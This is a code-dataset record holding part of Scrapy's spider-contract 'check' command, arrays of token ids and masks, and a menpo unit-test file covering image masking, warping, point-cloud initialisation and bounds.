def printSummary(self, start, stop):
write = self.stream.write
writeln = self.stream.writeln
run = self.testsRun
plural = "s" if run != 1 else ""
writeln(self.separator2)
writeln("Ran %d contract%s in %.3fs" % (run, plural, stop - start))
writeln()
infos = []
if not self.wasSuccessful():
write("FAILED")
failed, errored = map(len, (self.failures, self.errors))
if failed:
infos.append("failures=%d" % failed)
if errored:
infos.append("errors=%d" % errored)
else:
write("OK")
if infos:
writeln(" (%s)" % (", ".join(infos),))
else:
write("\n")
class Command(ScrapyCommand):
requires_project = True
default_settings = {'LOG_ENABLED': False}
def syntax(self):
return "[options] <spider>"
def short_desc(self):
return "Check spider contracts"
def add_options(self, parser):
ScrapyCommand.add_options(self, parser)
parser.add_option("-l", "--list", dest="list", action="store_true",
help="only list contracts, without checking them")
parser.add_option("-v", "--verbose", dest="verbose", default=False, action='store_true',
help="print contract tests for all spiders")
def run(self, args, opts):
# load contracts
contracts = build_component_list(
self.settings['SPIDER_CONTRACTS_BASE'],
self.settings['SPIDER_CONTRACTS'],
)
conman = ContractsManager([load_object(c) for c in contracts])
runner = TextTestRunner(verbosity=2 if opts.verbose else 1)
result = TextTestResult(runner.stream, runner.descriptions, runner.verbosity)
# contract requests
contract_reqs = defaultdict(list)
spider_loader = self.crawler_process.spider_loader
for spidername in args or spider_loader.list():
spidercls = spider_loader.load(spidername)
spidercls.start_requests = lambda s: conman.from_spider(s, result)
tested_methods = conman.tested_methods_from_spidercls(spidercls)
if opts.list:
for method in tested_methods:
contract_reqs[spidercls.name].append(method)
elif tested_methods:
self.crawler_process.crawl(spidercls)
# start checks
if opts.list:
for spider, methods in sorted(contract_reqs.items()):
if not methods and not opts.verbose:
continue
print(spider)
for method in sorted(methods):
print(' * %s' % method)
else:
start = time.time()
self.crawler_process.start()
stop = time.time()
result.printErrors()
result.printSummary(start, stop)
self.exitcode = int(not result.wasSuccessful())
|
bsd-3-clause
|
[
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
646,
900,
199,
646,
984,
199,
504,
5055,
492,
10018,
199,
504,
2882,
492,
4516,
13649,
12,
4516,
13120,
465,
485,
1872,
13120,
199,
199,
504,
18918,
14,
4405,
492,
13916,
345,
647,
3110,
199,
504,
18918,
14,
17926,
3021,
492,
1448,
1239,
3021,
2988,
199,
504,
18918,
14,
1208,
14,
9923,
492,
2248,
63,
785,
199,
504,
18918,
14,
1208,
14,
2190,
492,
1900,
63,
3173,
63,
513,
421,
199,
533,
4516,
13120,
1547,
1872,
13120,
304,
272,
347,
870,
10407,
8,
277,
12,
1343,
12,
3631,
304,
267,
2218,
275,
291,
14,
1745,
14,
952,
267,
2218,
6066,
275,
291,
14,
1745,
14,
21768,
398,
1255,
275,
291,
14,
30680,
267,
11718,
275,
298,
83,
2,
340,
1255,
1137,
413,
587,
3087,
398,
2218,
6066,
8,
277,
14,
9896,
18,
9,
267,
2218,
6066,
480,
50,
290,
450,
68,
16077,
5,
83,
315,
10536,
19,
2319,
2,
450,
334,
1065,
12,
11718,
12,
3631,
446,
1343,
430,
267,
2218,
6066,
342,
398,
24485,
275,
942,
267,
340,
440,
291,
14,
10274,
20839,
837,
288,
2218,
480,
12299,
531,
288,
3405,
12,
9266,
20878,
275,
2341,
8,
552,
12,
334,
277,
14,
9968,
12,
291,
14,
2550,
430,
288,
340,
3405,
26,
355,
24485,
14,
740,
480,
9968,
2458,
68,
2,
450,
3405,
9,
288,
340,
9266,
20878,
26,
355,
24485,
14,
740,
480,
2550,
2458,
68,
2,
450,
9266,
20878,
9,
267,
587,
26,
288,
2218,
480,
3593,
531,
398,
340,
24485,
26,
288,
2218,
6066,
480,
4366,
83,
2924,
450,
334,
401,
3680,
904,
8,
14195,
18399,
267,
587,
26,
288,
2218,
4582,
78,
531,
421,
199,
533,
5817,
8,
7181,
345,
647,
3110,
304,
272,
5074,
63,
1715,
275,
715,
272,
849,
63,
1751,
275,
791,
4947,
63,
15704,
356,
756,
93,
339,
347,
6302,
8,
277,
304,
267,
372,
7369,
1419,
61,
665,
12856,
4335,
339,
347,
3974,
63,
3257,
8,
277,
304,
267,
372,
298,
1799,
18094,
18782,
3021,
2,
339,
347,
1050,
63,
1419,
8,
277,
12,
1798,
304,
267,
13916,
345,
647,
3110,
14,
525,
63,
1419,
8,
277,
12,
1798,
9,
267,
1798,
14,
525,
63,
1422,
6096,
76,
401,
4320,
513,
401,
2053,
628,
513,
401,
1595,
628,
1617,
63,
2052,
401,
2079,
1720,
628,
2118,
769,
18782,
3021,
12,
1928,
7907,
3062,
531,
267,
1798,
14,
525,
63,
1422,
6096,
86,
401,
4320,
3832,
401,
2053,
628,
3832,
401,
849,
29,
797,
12,
1595,
534,
1617,
63,
2052,
297,
2079,
1720,
628,
1361,
16077,
2295,
367,
1006,
19441,
7735,
531,
339,
347,
1255,
8,
277,
12,
1249,
12,
3999,
304,
267,
327,
2248,
18782,
3021,
267,
18782,
3021,
275,
1900,
63,
3173,
63,
513,
8,
288,
291,
14,
1751,
459,
5763,
998,
540,
63,
1864,
22280,
51,
63,
5825,
995,
288,
291,
14,
1751,
459,
5763,
998,
540,
63,
1864,
22280,
51,
995,
267,
776,
267,
406,
1237,
275,
1448,
1239,
3021,
2988,
779,
912,
63,
785,
8,
67,
9,
367,
286,
315,
18782,
3021,
566,
267,
7876,
275,
4516,
13649,
8,
9833,
29,
18,
340,
3999,
14,
3832,
587,
413,
9,
267,
754,
275,
4516,
13120,
8,
5933,
14,
1745,
12,
7876,
14,
21713,
12,
7876,
14,
9833,
9,
398,
327,
16077,
4145,
267,
16077,
63,
12720,
275,
10018,
8,
513,
9,
398,
18094,
63,
3422,
275,
291,
14,
23972,
63,
1412,
14,
12856,
63,
3422,
398,
367,
18094,
354,
315,
1249,
503,
18094,
63,
3422,
14,
513,
837,
288,
18094,
1886,
275,
18094,
63,
3422,
14,
912,
8,
12856,
354,
9,
288,
18094,
1886,
14,
928,
63,
6615,
275,
2400,
308,
26,
406,
1237,
14,
504,
63,
12856,
8,
83,
12,
754,
9,
953,
12470,
63,
2474,
275,
406,
1237,
14,
10453,
63,
2474,
63,
504,
63,
12856,
1886,
8,
12856,
1886,
9,
288,
340,
3999,
14,
513,
26,
355,
367,
1083,
315,
12470,
63,
2474,
26,
490,
16077,
63,
12720,
59,
12856,
1886,
14,
354,
1055,
740,
8,
765,
9,
288,
916,
12470,
63,
2474,
26,
355,
291,
14,
23972,
63,
1412,
14,
67,
22910,
8,
12856,
1886,
9,
398,
327,
1343,
5920,
267,
340,
3999,
14,
513,
26,
288,
367,
18094,
12,
3102,
315,
3355,
8,
14624,
63,
12720,
14,
1744,
5109,
355,
340,
440,
3102,
436,
440,
3999,
14,
3832,
26,
490,
1980,
355,
870,
8,
12856,
9,
355,
367,
1083,
315,
3355,
8,
2474,
304,
490,
870,
360,
221,
627,
450,
83,
7,
450,
1083,
9,
267,
587,
26,
288,
1343,
275,
900,
14,
521,
342,
288,
291,
14,
23972,
63,
1412,
14,
928,
342,
288,
3631,
275,
900,
14,
521,
342,
953,
754,
14,
1361,
9298,
342,
288,
754,
14,
1361,
10407,
8,
928,
12,
3631,
9,
288,
291,
14,
2224,
600,
275,
1109,
8,
1397,
754,
14,
10274,
20839,
1012,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
636,
2443,
363,
492,
870,
63,
1593,
199,
646,
900,
199,
646,
984,
199,
504,
5055,
492,
10018,
199,
504,
2882,
492,
4516,
13649,
12,
4516,
13120,
465,
485,
1872,
13120,
199,
199,
504,
18918,
14,
4405,
492,
13916,
345,
647,
3110,
199,
504,
18918,
14,
17926,
3021,
492,
1448,
1239,
3021,
2988,
199,
504,
18918,
14,
1208,
14,
9923,
492,
2248,
63,
785,
199,
504,
18918,
14,
1208,
14,
2190,
492,
1900,
63,
3173,
63,
513,
421,
199,
533,
4516,
13120,
1547,
1872,
13120,
304,
272,
347,
870,
10407,
8,
277,
12,
1343,
12,
3631,
304,
267,
2218,
275,
291,
14,
1745,
14,
952,
267,
2218,
6066,
275,
291,
14,
1745,
14,
21768,
398,
1255,
275,
291,
14,
30680,
267,
11718,
275,
298,
83,
2,
340,
1255,
1137,
413,
587,
3087,
398,
2218,
6066,
8,
277,
14,
9896,
18,
9,
267,
2218,
6066,
480,
50,
290,
450,
68,
16077,
5,
83,
315,
10536,
19,
2319,
2,
450,
334,
1065,
12,
11718,
12,
3631,
446,
1343,
430,
267,
2218,
6066,
342,
398,
24485,
275,
942,
267,
340,
440,
291,
14,
10274,
20839,
837,
288,
2218,
480,
12299,
531,
288,
3405,
12,
9266,
20878,
275,
2341,
8,
552,
12,
334,
277,
14,
9968,
12,
291,
14,
2550,
430,
288,
340,
3405,
26,
355,
24485,
14,
740,
480,
9968,
2458,
68,
2,
450,
3405,
9,
288,
340,
9266,
20878,
26,
355,
24485,
14,
740,
480,
2550,
2458,
68,
2,
450,
9266,
20878,
9,
267,
587,
26,
288,
2218,
480,
3593,
531,
398,
340,
24485,
26,
288,
2218,
6066,
480,
4366,
83,
2924,
450,
334,
401,
3680,
904,
8,
14195,
18399,
267,
587,
26,
288,
2218,
4582,
78,
531,
421,
199,
533,
5817,
8,
7181,
345,
647,
3110,
304,
272,
5074,
63,
1715,
275,
715,
272,
849,
63,
1751,
275,
791,
4947,
63,
15704,
356,
756,
93,
339,
347,
6302,
8,
277,
304,
267,
372,
7369,
1419,
61,
665,
12856,
4335,
339,
347,
3974,
63,
3257,
8,
277,
304,
267,
372,
298,
1799,
18094,
18782,
3021,
2,
339,
347,
1050,
63,
1419,
8,
277,
12,
1798,
304,
267,
13916,
345,
647,
3110,
14,
525,
63,
1419,
8,
277,
12,
1798,
9,
267,
1798,
14,
525,
63,
1422,
6096,
76,
401,
4320,
513,
401,
2053,
628,
513,
401,
1595,
628,
1617,
63,
2052,
401,
2079,
1720,
628,
2118,
769,
18782,
3021,
12,
1928,
7907,
3062,
531,
267,
1798,
14,
525,
63,
1422,
6096,
86,
401,
4320,
3832,
401,
2053,
628,
3832,
401,
849,
29,
797,
12,
1595,
534,
1617,
63,
2052,
297,
2079,
1720,
628,
1361,
16077,
2295,
367,
1006,
19441,
7735,
531,
339,
347,
1255,
8,
277,
12,
1249,
12,
3999,
304,
267,
327,
2248,
18782,
3021,
267,
18782,
3021,
275,
1900,
63,
3173,
63,
513,
8,
288,
291,
14,
1751,
459,
5763,
998,
540,
63,
1864,
22280,
51,
63,
5825,
995,
288,
291,
14,
1751,
459,
5763,
998,
540,
63,
1864,
22280,
51,
995,
267,
776,
267,
406,
1237,
275,
1448,
1239,
3021,
2988,
779,
912,
63,
785,
8,
67,
9,
367,
286,
315,
18782,
3021,
566,
267,
7876,
275,
4516,
13649,
8,
9833,
29,
18,
340,
3999,
14,
3832,
587,
413,
9,
267,
754,
275,
4516,
13120,
8,
5933,
14,
1745,
12,
7876,
14,
21713,
12,
7876,
14,
9833,
9,
398,
327,
16077,
4145,
267,
16077,
63,
12720,
275,
10018,
8,
513,
9,
398,
18094,
63,
3422,
275,
291,
14,
23972,
63,
1412,
14,
12856,
63,
3422,
398,
367,
18094,
354,
315,
1249,
503,
18094,
63,
3422,
14,
513,
837,
288,
18094,
1886,
275,
18094,
63,
3422,
14,
912,
8,
12856,
354,
9,
288,
18094,
1886,
14,
928,
63,
6615,
275,
2400,
308,
26,
406,
1237,
14,
504,
63,
12856,
8,
83,
12,
754,
9,
953,
12470,
63,
2474,
275,
406,
1237,
14,
10453,
63,
2474,
63,
504,
63,
12856,
1886,
8,
12856,
1886,
9,
288,
340,
3999,
14,
513,
26,
355,
367,
1083,
315,
12470,
63,
2474,
26,
490,
16077,
63,
12720,
59,
12856,
1886,
14,
354,
1055,
740,
8,
765,
9,
288,
916,
12470,
63,
2474,
26,
355,
291,
14,
23972,
63,
1412,
14,
67,
22910,
8,
12856,
1886,
9,
398,
327,
1343,
5920,
267,
340,
3999,
14,
513,
26,
288,
367,
18094,
12,
3102,
315,
3355,
8,
14624,
63,
12720,
14,
1744,
5109,
355,
340,
440,
3102,
436,
440,
3999,
14,
3832,
26,
490,
1980,
355,
870,
8,
12856,
9,
355,
367,
1083,
315,
3355,
8,
2474,
304,
490,
870,
360,
221,
627,
450,
83,
7,
450,
1083,
9,
267,
587,
26,
288,
1343,
275,
900,
14,
521,
342,
288,
291,
14,
23972,
63,
1412,
14,
928,
342,
288,
3631,
275,
900,
14,
521,
342,
953,
754,
14,
1361,
9298,
342,
288,
754,
14,
1361,
10407,
8,
928,
12,
3631,
9,
288,
291,
14,
2224,
600,
275,
1109,
8,
1397,
754,
14,
10274,
20839,
1012,
421,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
grigorisg9gr/menpo
|
menpo/image/test/image_basics_test.py
|
1
|
4345
|
import warnings
import numpy as np
from numpy.testing import assert_allclose
from nose.tools import raises
from pathlib import Path
import menpo
from menpo.image import Image, MaskedImage, BooleanImage
from menpo.shape import PointCloud
from menpo.transform import UniformScale, Translation
def test_image_as_masked():
img = Image(np.random.rand(3, 3, 1), copy=False)
m_img = img.as_masked()
assert(type(m_img) == MaskedImage)
assert_allclose(m_img.pixels, img.pixels)
def test_image_has_nan_values():
img = Image(np.random.rand(1, 3, 3), copy=False)
img.pixels[0, 0, 0] = np.nan
assert img.has_nan_values()
def test_image_no_nan_values():
img = Image(np.random.rand(1, 3, 3), copy=False)
assert not img.has_nan_values()
def test_masked_image_as_unmasked():
m_img = MaskedImage(np.random.rand(1, 3, 3), copy=False)
img = m_img.as_unmasked()
assert(type(img) == Image)
assert_allclose(m_img.pixels, img.pixels)
def test_masked_image_as_unmasked_fill():
m_img = MaskedImage(np.random.rand(1, 3, 3), copy=False)
m_img.mask.pixels[0, 0, 0] = False
img = m_img.as_unmasked(fill=8)
assert(type(img) == Image)
assert_allclose(m_img.pixels[0, 1:, 1:], img.pixels[0, 1:, 1:])
assert_allclose(img.pixels[0, 0, 0], 8.0)
def test_masked_image_as_unmasked_fill_tuple():
m_img = MaskedImage(np.random.rand(3, 3, 3), copy=False)
m_img.mask.pixels[0, 0, 0] = False
img = m_img.as_unmasked(fill=(1, 2, 3))
assert(type(img) == Image)
assert_allclose(m_img.pixels[0, 1:, 1:], img.pixels[0, 1:, 1:])
assert_allclose(img.pixels[:, 0, 0], (1, 2, 3))
@raises(NotImplementedError)
def test_boolean_image_as_masked_raises_not_implemented_error():
b_img = BooleanImage.init_blank((4, 5))
b_img.as_masked()
def test_warp_to_shape_preserves_path():
bb = menpo.io.import_builtin_asset.breakingbad_jpg()
bb2 = bb.rescale(0.1)
assert hasattr(bb2, 'path')
assert bb2.path == bb.path
def test_warp_to_mask_preserves_path():
bb = menpo.io.import_builtin_asset.breakingbad_jpg()
no_op = UniformScale(1.0, n_dims=2)
bb2 = bb.warp_to_mask(BooleanImage.init_blank((10, 10)), no_op)
assert hasattr(bb2, 'path')
assert bb2.path == bb.path
def test_warp_to_shape_boolean_preserves_path():
i1 = BooleanImage.init_blank((10, 10))
i1.path = Path('.')
i2 = i1.rescale(0.8)
assert hasattr(i2, 'path')
assert i2.path == i1.path
def test_init_from_rolled_channels():
p = np.empty([50, 60, 3])
im = Image.init_from_channels_at_back(p)
assert im.n_channels == 3
assert im.height == 50
assert im.width == 60
def test_init_from_channels_at_back_less_dimensions():
p = np.empty([50, 60])
im = Image.init_from_channels_at_back(p)
assert im.n_channels == 1
assert im.height == 50
assert im.width == 60
def test_init_from_pointcloud():
pc = PointCloud.init_2d_grid((10, 10))
im = Image.init_from_pointcloud(pc)
assert im.shape == (9, 9)
def test_init_from_pointcloud_return_transform():
correct_tr = Translation([5, 5])
pc = correct_tr.apply(PointCloud.init_2d_grid((10, 10)))
im, tr = Image.init_from_pointcloud(pc, return_transform=True)
assert im.shape == (9, 9)
assert_allclose(tr.as_vector(), -correct_tr.as_vector())
def test_init_from_pointcloud_attach_group():
pc = PointCloud.init_2d_grid((10, 10))
im = Image.init_from_pointcloud(pc, group='test')
assert im.shape == (9, 9)
assert im.n_landmark_groups == 1
def test_init_from_pointcloud_boundary():
pc = PointCloud.init_2d_grid((10, 10))
im = Image.init_from_pointcloud(pc, boundary=5)
print(im.shape)
assert im.shape == (19, 19)
def test_bounds_2d():
im = Image.init_blank((50, 30))
assert_allclose(im.bounds(), ((0, 0), (49, 29)))
def test_bounds_3d():
im = Image.init_blank((50, 30, 10))
assert_allclose(im.bounds(), ((0, 0, 0), (49, 29, 9)))
def test_constrain_landmarks_to_bounds():
im = Image.init_blank((10, 10))
im.landmarks['test'] = PointCloud.init_2d_grid((20, 20))
with warnings.catch_warnings():
warnings.simplefilter('ignore')
im.constrain_landmarks_to_bounds()
assert not im.has_landmarks_outside_bounds()
assert_allclose(im.landmarks['test'].bounds(), im.bounds())
|
bsd-3-clause
|
[
646,
3598,
199,
199,
646,
2680,
465,
980,
199,
504,
2680,
14,
4776,
492,
702,
63,
7520,
199,
504,
11354,
14,
2537,
492,
6534,
199,
504,
32212,
492,
6912,
199,
199,
646,
12953,
555,
199,
504,
12953,
555,
14,
1569,
492,
6047,
12,
17581,
379,
3491,
12,
9411,
3491,
199,
504,
12953,
555,
14,
1392,
492,
7584,
9089,
199,
504,
12953,
555,
14,
4711,
492,
1910,
8241,
9944,
12,
25224,
421,
199,
318,
511,
63,
1569,
63,
305,
63,
11018,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
19,
12,
650,
12,
413,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
275,
6050,
14,
305,
63,
11018,
342,
272,
702,
8,
466,
8,
77,
63,
4060,
9,
508,
17581,
379,
3491,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
12,
6050,
14,
15727,
9,
421,
199,
318,
511,
63,
1569,
63,
1989,
63,
4304,
63,
1459,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
6050,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
980,
14,
4304,
272,
702,
6050,
14,
1989,
63,
4304,
63,
1459,
342,
421,
199,
318,
511,
63,
1569,
63,
889,
63,
4304,
63,
1459,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
702,
440,
6050,
14,
1989,
63,
4304,
63,
1459,
342,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
342,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
12,
6050,
14,
15727,
9,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
63,
4498,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
17,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
14,
2629,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
756,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
8,
4498,
29,
24,
9,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
59,
16,
12,
413,
11941,
413,
8429,
6050,
14,
15727,
59,
16,
12,
413,
11941,
413,
5728,
272,
702,
63,
7520,
8,
4060,
14,
15727,
59,
16,
12,
378,
12,
378,
467,
1695,
14,
16,
9,
421,
199,
318,
511,
63,
11018,
63,
1569,
63,
305,
63,
324,
11018,
63,
4498,
63,
2960,
837,
272,
333,
63,
4060,
275,
17581,
379,
3491,
8,
1590,
14,
2355,
14,
3759,
8,
19,
12,
650,
12,
650,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
14,
2629,
14,
15727,
59,
16,
12,
378,
12,
378,
61,
275,
756,
272,
6050,
275,
333,
63,
4060,
14,
305,
63,
324,
11018,
8,
4498,
2687,
17,
12,
499,
12,
650,
430,
272,
702,
8,
466,
8,
4060,
9,
508,
6047,
9,
272,
702,
63,
7520,
8,
77,
63,
4060,
14,
15727,
59,
16,
12,
413,
11941,
413,
8429,
6050,
14,
15727,
59,
16,
12,
413,
11941,
413,
5728,
272,
702,
63,
7520,
8,
4060,
14,
15727,
3981,
378,
12,
378,
467,
334,
17,
12,
499,
12,
650,
430,
421,
199,
32,
3536,
8,
18097,
9,
199,
318,
511,
63,
4871,
63,
1569,
63,
305,
63,
11018,
63,
3536,
63,
1397,
63,
13825,
63,
705,
837,
272,
330,
63,
4060,
275,
9411,
3491,
14,
826,
63,
2500,
1332,
20,
12,
959,
430,
272,
330,
63,
4060,
14,
305,
63,
11018,
342,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
1392,
63,
657,
20603,
63,
515,
837,
272,
14027,
275,
12953,
555,
14,
2308,
14,
646,
63,
5351,
63,
6562,
14,
4785,
316,
4087,
63,
8476,
342,
272,
14027,
18,
275,
14027,
14,
470,
2357,
8,
16,
14,
17,
9,
272,
702,
2688,
8,
2501,
18,
12,
283,
515,
358,
272,
702,
14027,
18,
14,
515,
508,
14027,
14,
515,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
2629,
63,
657,
20603,
63,
515,
837,
272,
14027,
275,
12953,
555,
14,
2308,
14,
646,
63,
5351,
63,
6562,
14,
4785,
316,
4087,
63,
8476,
342,
272,
949,
63,
411,
275,
1910,
8241,
9944,
8,
17,
14,
16,
12,
302,
63,
5380,
29,
18,
9,
272,
14027,
18,
275,
14027,
14,
26692,
63,
475,
63,
2629,
8,
4082,
3491,
14,
826,
63,
2500,
1332,
709,
12,
1616,
1826,
949,
63,
411,
9,
272,
702,
2688,
8,
2501,
18,
12,
283,
515,
358,
272,
702,
14027,
18,
14,
515,
508,
14027,
14,
515,
421,
199,
318,
511,
63,
26692,
63,
475,
63,
1392,
63,
4871,
63,
657,
20603,
63,
515,
837,
272,
284,
17,
275,
9411,
3491,
14,
826,
63,
2500,
1332,
709,
12,
1616,
430,
272,
284,
17,
14,
515,
275,
6912,
7563,
272,
284,
18,
275,
284,
17,
14,
470,
2357,
8,
16,
14,
24,
9,
272,
702,
2688,
8,
73,
18,
12,
283,
515,
358,
272,
702,
284,
18,
14,
515,
508,
284,
17,
14,
515,
421,
199,
318,
511,
63,
826,
63,
504,
63,
10504,
63,
6324,
837,
272,
299,
275,
980,
14,
1667,
779,
1400,
12,
5212,
12,
650,
566,
272,
3416,
275,
6047,
14,
826,
63,
504,
63,
6324,
63,
292,
63,
894,
8,
80,
9,
272,
702,
3416,
14,
78,
63,
6324,
508,
650,
272,
702,
3416,
14,
3333,
508,
5238,
272,
702,
3416,
14,
2063,
508,
5212,
421,
199,
318,
511,
63,
826,
63,
504,
63,
6324,
63,
292,
63,
894,
63,
2003,
63,
13320,
837,
272,
299,
275,
980,
14,
1667,
779,
1400,
12,
5212,
566,
272,
3416,
275,
6047,
14,
826,
63,
504,
63,
6324,
63,
292,
63,
894,
8,
80,
9,
272,
702,
3416,
14,
78,
63,
6324,
508,
413,
272,
702,
3416,
14,
3333,
508,
5238,
272,
702,
3416,
14,
2063,
508,
5212
] |
[
3598,
199,
199,
646,
2680,
465,
980,
199,
504,
2680,
14,
4776,
492,
702,
63,
7520,
199,
504,
11354,
14,
2537,
492,
6534,
199,
504,
32212,
492,
6912,
199,
199,
646,
12953,
555,
199,
504,
12953,
555,
14,
1569,
492,
6047,
12,
17581,
379,
3491,
12,
9411,
3491,
199,
504,
12953,
555,
14,
1392,
492,
7584,
9089,
199,
504,
12953,
555,
14,
4711,
492,
1910,
8241,
9944,
12,
25224,
421,
199,
318,
511,
63,
1569,
63,
305,
63,
11018,
837,
272,
6050,
275,
6047,
8,
1590,
14,
2355,
14,
3759,
8,
19,
12,
650,
12,
413,
395,
1331,
29,
797,
9,
272,
333,
63,
4060,
275,
6050,
14,
305,
63,
11018,
342,
272,
702,
8,
466,
8,
77,
63,
4060,
9,
508,
17581,
379,
